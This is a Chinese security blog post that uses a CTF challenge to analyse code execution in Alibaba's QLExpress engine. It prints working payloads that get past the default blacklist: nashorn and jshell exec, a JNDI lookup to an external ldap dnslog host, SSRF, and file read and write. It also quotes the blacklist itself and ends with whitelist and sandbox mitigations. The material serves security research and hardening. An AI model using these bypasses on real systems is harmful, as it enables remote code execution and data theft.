原创 | 从一道CTF题浅谈QLExpress的那些事
点击蓝字
关注我们
前段时间看了一道CTF题目babyQL。
传送门:https://mp.weixin.qq.com/s/kACnYYwJWycT53BxrWjoxQ
从wp里看大概意思是QLExpress(仓库地址:https://github.com/alibaba/QLExpress)存在代码执行风险。
这里简单介绍下:
QLExpress脚本引擎被广泛应用在阿里的电商业务场景,具有以下的一些特性:
1、线程安全,引擎运算过程中的产生的临时变量都是threadlocal类型。
2、高效执行,比较耗时的脚本编译过程可以缓存在本地机器,运行时的临时变量创建采用了缓冲池的技术,和groovy性能相当。
3、弱类型脚本语言,和groovy,javascript语法类似,虽然比强类型脚本语言要慢一些,但是使业务的灵活度大大增强。
4、安全控制,可以通过设置相关运行参数,预防死循环、高危系统api调用等情况。
5、代码精简,依赖最小,250k的jar包适合所有java的运行环境,在android系统的低端pos机也得到广泛运用。
简单的看下具体漏洞的成因。
在expressRunner.execute
下一个断点,简单的查看具体的利用过程
public Object execute(String expressString, IExpressContext<String, Object> context, List<String> errorList, boolean isCache, boolean isTrace, Log log) throws Exception {
InstructionSet parseResult;
if (isCache) {
parseResult = (InstructionSet)this.expressInstructionSetCache.get(expressString);
if (parseResult == null) {
synchronized(this.expressInstructionSetCache) {
parseResult = (InstructionSet)this.expressInstructionSetCache.get(expressString);
if (parseResult == null) {
parseResult = this.parseInstructionSet(expressString);
this.expressInstructionSetCache.put(expressString, parseResult);
}
}
}
} else {
parseResult = this.parseInstructionSet(expressString);
}
return this.executeReentrant(parseResult, context, errorList, isTrace, log);
}
查看parseInstructionSet的具体实现,这里会将用户传来的text传入this.parse.parse()方法
public InstructionSet parseInstructionSet(String text) throws Exception {
try {
Map<String, String> selfDefineClass = new HashMap();
ExportItem[] var3 = this.loader.getExportInfo();
int var4 = var3.length;
for(int var5 = 0; var5 < var4; ++var5) {
ExportItem item = var3[var5];
if (item.getType().equals("VClass")) {
selfDefineClass.put(item.getName(), item.getName());
}
}
ExpressNode root = this.parse.parse(this.rootExpressPackage, text, this.isTrace, selfDefineClass);
InstructionSet result = this.createInstructionSet(root, "main");
if (this.isTrace && log.isDebugEnabled()) {
log.debug(result);
}
return result;
} catch (QLCompileException var7) {
throw var7;
} catch (Exception var8) {
throw new QLCompileException("编译异常:\n" + text, var8);
}
}
最终在com.ql.util.express.InstructionSet#executeInnerOriginalInstruction()执行Java代码:
public void executeInnerOriginalInstruction(RunEnvironment environment, List<String> errorList, Log log) throws Exception {
Instruction instruction = null;
try {
while(environment.programPoint < this.instructionList.length) {
QLExpressTimer.assertTimeOut();
instruction = this.instructionList[environment.programPoint];
instruction.setLog(log);
instruction.execute(environment, errorList);
}
} catch (Exception var6) {
throw var6;
}
}
QLExpress提供了自定义代码执行的功能com.ql.util.express.ExpressRunner#execute()
同时也提供了配置代码执行的黑/白名单/沙箱功能。
由于该功能非默认启用,需要手动配置,在未启用黑/白名单/沙箱情况下,若参数可控,则可以任意代码执行。
例如如下demo:
String code = "Runtime.getRuntime().exec(\"open -a calculator.app\");";
expressRunner.execute(code, new DefaultContext<>(), null, false, true);
3.1 黑名单场景下的绕过
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
查看具体的实现,默认提供了如下黑名单:
SECURITY_RISK_METHOD_LIST.add(System.class.getName() + ".exit");
SECURITY_RISK_METHOD_LIST.add(Runtime.getRuntime().getClass().getName() + ".exec");
SECURITY_RISK_METHOD_LIST.add(ProcessBuilder.class.getName() + ".start");
SECURITY_RISK_METHOD_LIST.add(Method.class.getName() + ".invoke");
SECURITY_RISK_METHOD_LIST.add(Class.class.getName() + ".forName");
SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".loadClass");
SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".findClass");
SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".defineClass");
SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".getSystemClassLoader");
SECURITY_RISK_METHOD_LIST.add("javax.naming.InitialContext.lookup");
SECURITY_RISK_METHOD_LIST.add("com.sun.rowset.JdbcRowSetImpl.setDataSourceName");
SECURITY_RISK_METHOD_LIST.add("com.sun.rowset.JdbcRowSetImpl.setAutoCommit");
可以看到只是简单的限制了一些class,还是可以进行bypass的。下面是一些简单的思路:
3.1.1 RCE绕过方式
可以看到默认黑名单简单的禁用了Runtime和ProcessBuilder,实际上还有很多bypass的方法。这里举几个例子:
ScriptEngineManager绕过
String code ="new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=
[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);\");
";
jshell
Java环境大于等于JDK9的话可以考虑使用jshell进行绕过:
jdk.jshell.JShell.create().eval('java.lang.Runtime.getRuntime().exec(\"open -a calculator.app\")')
3.1.2 JNDI注入
默认的黑名单中对JNDI的限制如下:
SECURITY_RISK_METHOD_LIST.add("javax.naming.InitialContext.lookup");
SpringBoot场景下其实可以基于org.springframework.jndi.JndiLocatorDelegate
类进行绕过:
String code = "import org.springframework.jndi.JndiLocatorDelegate;\n" +
"JndiLocatorDelegate a = new
JndiLocatorDelegate().lookup(\"ldap://tg9rbs.dnslog.cn:2333\");"
这里以dnslog进行验证,可以看到成功接收到了请求:
3.1.3 SSRF
默认黑名单里没有限制网络请求的相关class,可以考虑结合ssrf进行利用,例如如下demo:
String code = "import java.net.URL;" +
"import java.net.URLConnection;" +
"URLConnection url = new URL(\"http://n5gm6i.dnslog.cn\").openConnection();" +
"resp = url.getResponseCode();" +
"resp;";
同样的结合dnslog验证,成功接收到请求:
任意文件读
String code = "import java.io.BufferedReader;\n" +
"import java.io.FileReader;\n" +
"FileReader f=new FileReader(\"/tmp/flag\");\n" +
"BufferedReader a=new BufferedReader(f);\n" +
"String str=a.readLine();\n" +
"System.out.println(str);";
任意文件写
String code = "import java.io.*;\n" +
"BufferedWriter out = new BufferedWriter(new FileWriter(\"/tmp/test\"));\n" +
"out.write(\"success\");\n" +
"out.close();";
4.1 白名单
官方提供了白名单的方式,可以通过将预期类的方式加白,避免风险class加载,例如如下例子:
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
QLExpressRunStrategy.addSecureMethod(Runtime.class, "getRuntime");
4.2 开启沙箱
从官方的文档可以看到具体沙箱的使用方法:
若业务不涉及动态执行自定义代码,则可以开启沙箱运行
在沙箱模式中,禁用了如下规则:
mport Java 类
显式引用 Java 类,比如
String a = 'mmm'
取 Java 类中的字段:
a = new Integer(11); a.value
调用 Java 类中的方法: Math.abs(12)
使用 QLExpress 的自定义操作符/宏/函数,以此实现与应用的受控交互 使用 .
操作符获取Map
的key
对应的value
,比如a
在应用传入的表达式中是一个Map
,那么可以通过a.b
获取所有不涉及应用 Java 类的操作
// 开启沙箱模式
QLExpressRunStrategy.setSandBoxMode(true);
往期推荐
原创 | AspectJWeaver利用链绕过serialKiller